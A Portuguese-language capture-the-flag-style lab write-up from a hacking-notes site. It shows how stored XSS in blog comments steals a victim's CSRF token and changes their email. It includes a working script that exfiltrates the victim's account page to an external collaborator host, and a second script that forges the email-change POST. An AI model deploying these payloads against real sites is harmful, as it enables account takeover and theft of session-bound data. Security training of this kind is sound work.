> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS para Burlar Defesas CSRF

### Explorando XSS para Contornar Defesas CSRF

Este laboratório contém uma vulnerabilidade de XSS armazenada no recurso de comentários do blog. O objetivo é explorar essa vulnerabilidade para roubar o token CSRF de um usuário que consulta os comentários e, em seguida, usá-lo para alterar o endereço de e-mail dessa conta. Você pode se conectar com as seguintes credenciais: `wiener:peter`.

* Há um campo na página para atualizar o e-mail.

<figure><img src="/files/e2a5507350705cec9a9c2461832cf297fef3f435" alt=""><figcaption></figcaption></figure>

* Há um campo na página para atualizar o e-mail.
* Ao interceptar a requisição de atualização, os parâmetros são observados (exemplo):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="/files/5e9d721960dd46c2c28f9ebbbd04de293b260c8f" alt=""><figcaption></figcaption></figure>

Estratégia:

<figure><img src="/files/5c4f4cff59b04397cf607e567adee7bbc46b17d0" alt=""><figcaption></figcaption></figure>

1. Publique um comentário contendo um script que, quando a página for visualizada pela vítima, recupere o HTML da página da conta (`/my-account`) usando uma consulta síncrona ou assíncrona.
2. Exfiltre esse HTML para um servidor de escuta controlado (codificando em base64, se desejar).
3. Recupere, do lado atacante, o token CSRF e, a partir de um segundo script executado no contexto da vítima, faça uma requisição POST para `/my-account/change-email` fornecendo tanto o novo endereço quanto o token CSRF recuperado — a requisição usará o cookie de sessão da vítima enquanto o script é executado no navegador dela.

Exfiltrando o código-fonte da página da conta para um servidor de escuta (codificado em Base64):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="/files/010e374335446253b7f907f764c936285d8f693f" alt=""><figcaption></figcaption></figure>

Resultado observado:

* Na nossa infraestrutura, são recebidas duas requisições contendo HTML codificado em base64.

<figure><img src="/files/7057297d82c19edd6e9a735889ae8cd56ed3c155" alt=""><figcaption></figcaption></figure>

* Após a decodificação, o HTML contém as informações da conta: nome de usuário `administrador`, e-mail atual e token CSRF em um `entrada` campo (por exemplo `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` no exemplo fornecido).

<figure><img src="/files/2dbe46bcf418e3fc498f51888a2551abf065e39e" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>Seu nome de usuário é: administrator</p>
    <p>Seu e-mail é: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>E-mail</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> Atualizar e-mail </button>
        </form>
</div>
```

Recuperação do token CSRF do HTML e envio de uma alteração de e-mail (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
